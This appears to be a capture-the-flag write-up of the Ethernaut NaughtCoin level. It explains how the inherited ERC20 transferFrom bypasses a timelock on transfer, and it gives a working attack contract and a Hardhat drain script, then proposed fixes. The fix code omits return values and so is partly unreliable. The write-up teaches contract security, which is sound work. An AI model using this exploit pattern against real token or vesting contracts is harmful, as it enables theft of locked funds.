NaughtCoin Challenge - Ethernaut Level 15

The Vulnerable Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

The Vulnerability

The vulnerability in this contract is subtle but exploitable. The issue is in the implementation of the lockTokens modifier:

1. Incomplete Function Override: Only the transfer function is overridden with the lockTokens modifier
2. Inherited Functions Unprotected: The contract inherits from OpenZeppelin's ERC20, which includes other transfer methods like transferFrom that aren't overridden
3. Modifier Logic Flaw: The lockTokens modifier only applies the timelock check when msg.sender == player

The key insight is that while the transfer function is protected, the transferFrom function from the ERC20 standard is not overridden and can be used to bypass the timelock.

The Attack Strategy

To exploit this vulnerability, we can use the transferFrom function instead of transfer:

1. Approve Another Address: Use the approve function to allow another address (or contract) to spend our tokens
2. Use transferFrom: Have the approved address call transferFrom to move our tokens
3. Bypass Timelock: Since transferFrom isn't protected by the lockTokens modifier, the timelock is bypassed

The Attack Contract

Here's the attack contract that exploits this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract NaughtCoinAttack {
    function transferFrom(address token, address from, address to, uint256 amount) external {
        IERC20(token).transferFrom(from, to, amount);
    }
}

How the Attack Works

Attack Flow:

1. Deploy Attack Contract: Deploy the NaughtCoinAttack contract
2. Approve Attack Contract: Call approve on the NaughtCoin contract to allow the attack contract to spend our tokens
3. Transfer Using transferFrom: Call transferFrom through the attack contract to move our tokens
4. Bypass Timelock: The transfer succeeds because transferFrom isn't protected by the lockTokens modifier

Key Attack Code:

// The attack contract simply calls transferFrom
function transferFrom(address token, address from, address to, uint256 amount) external {
    IERC20(token).transferFrom(from, to, amount);
}

// This bypasses the lockTokens modifier because transferFrom isn't overridden

Deployment and Execution Script

Here's the script to deploy and execute the attack:

const hre = require("hardhat");
require("dotenv").config();

async function main() {
  // Deploy the NaughtCoinAttack contract
  const NaughtCoinAttack = await hre.ethers.getContractFactory("NaughtCoinAttack");
  const attack = await NaughtCoinAttack.deploy();
  await attack.waitForDeployment();
  console.log("NaughtCoinAttack deployed to:", await attack.getAddress());

  // Get the NaughtCoin contract instance
  const naughtCoinAddress = process.env.NAUGHT_COIN_ADDRESS;
  if (!naughtCoinAddress) {
    throw new Error("Please set the NAUGHT_COIN_ADDRESS in your .env file");
  }
  const naughtCoin = await hre.ethers.getContractAt("NaughtCoin", naughtCoinAddress);
  
  // Get player address
  const [player] = await hre.ethers.getSigners();
  console.log("Player address:", player.address);

  // Get total balance
  const balance = await naughtCoin.balanceOf(player.address);
  console.log("Player balance:", balance.toString());

  // Approve attack contract to spend tokens
  const approveTx = await naughtCoin.approve(await attack.getAddress(), balance);
  await approveTx.wait();
  console.log("Approved attack contract to spend tokens");

  // Transfer tokens using attack contract
  const transferTx = await attack.transferFrom(
    naughtCoinAddress,
    player.address,
    await attack.getAddress(),
    balance
  );
  await transferTx.wait();
  console.log("Transferred tokens to attack contract");

  // Verify balance is 0
  const newBalance = await naughtCoin.balanceOf(player.address);
  console.log("New player balance:", newBalance.toString());
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Security Lessons

• Complete Function Override: When overriding functions from inherited contracts, make sure to override all related functions that could be used to bypass your security measures.
• ERC20 Standard Awareness: Understand the full ERC20 interface and all the transfer methods it provides.
• Modifier Coverage: Ensure that security modifiers are applied to all functions that could affect the protected state.
• Inheritance Risks: Be careful when inheriting from complex contracts like OpenZeppelin's ERC20, as they provide many functions that might not be immediately obvious.
• Approval Security: Be cautious with the approve function, as it can be used to bypass transfer restrictions.

Prevention

Here's how you could fix the vulnerable contract:

// Fixed version 1: Override all transfer functions
contract NaughtCoin is ERC20 {
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transferFrom(_from, _to, _value);
    }

    function approve(address _spender, uint256 _value) public override lockTokens returns (bool) {
        super.approve(_spender, _value);
    }

    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

// Fixed version 2: Use a more comprehensive approach
contract NaughtCoin is ERC20 {
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        _mint(player, 1000000 * (10 ** uint256(decimals())));
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);
        
        if (from == player) {
            require(block.timestamp > timeLock, "Tokens are locked");
        }
    }
}

Why This Vulnerability Matters

This vulnerability demonstrates an important principle in smart contract security: inheritance can introduce unexpected attack vectors. When inheriting from complex contracts like OpenZeppelin's ERC20, you need to be aware of all the functions that are available and ensure your security measures cover all relevant entry points.

In real-world scenarios, this type of vulnerability could be exploited in:

• Token Contracts: Any ERC20 token with transfer restrictions that don't cover all transfer methods
• Vesting Contracts: Token vesting contracts that only protect the transfer function
• Access Control: Contracts that rely on function-level access controls without considering inherited functions
• Timelock Contracts: Any contract with timelock restrictions that don't cover all state-changing functions

ERC20 Transfer Methods

The ERC20 standard includes several transfer-related functions that should all be considered when implementing transfer restrictions:

• transfer(address to, uint256 amount) - Direct transfer
• transferFrom(address from, address to, uint256 amount) - Transfer using allowance
• approve(address spender, uint256 amount) - Approve spending
• increaseAllowance(address spender, uint256 addedValue) - Increase allowance
• decreaseAllowance(address spender, uint256 subtractedValue) - Decrease allowance

Conclusion

The NaughtCoin challenge teaches us about the importance of comprehensive function overriding when inheriting from complex contracts. The key takeaway is to always consider all the functions that could be used to bypass your security measures, not just the obvious ones.

This vulnerability shows why it's crucial to understand the full interface of inherited contracts and to implement security measures that cover all possible attack vectors, not just the most common ones.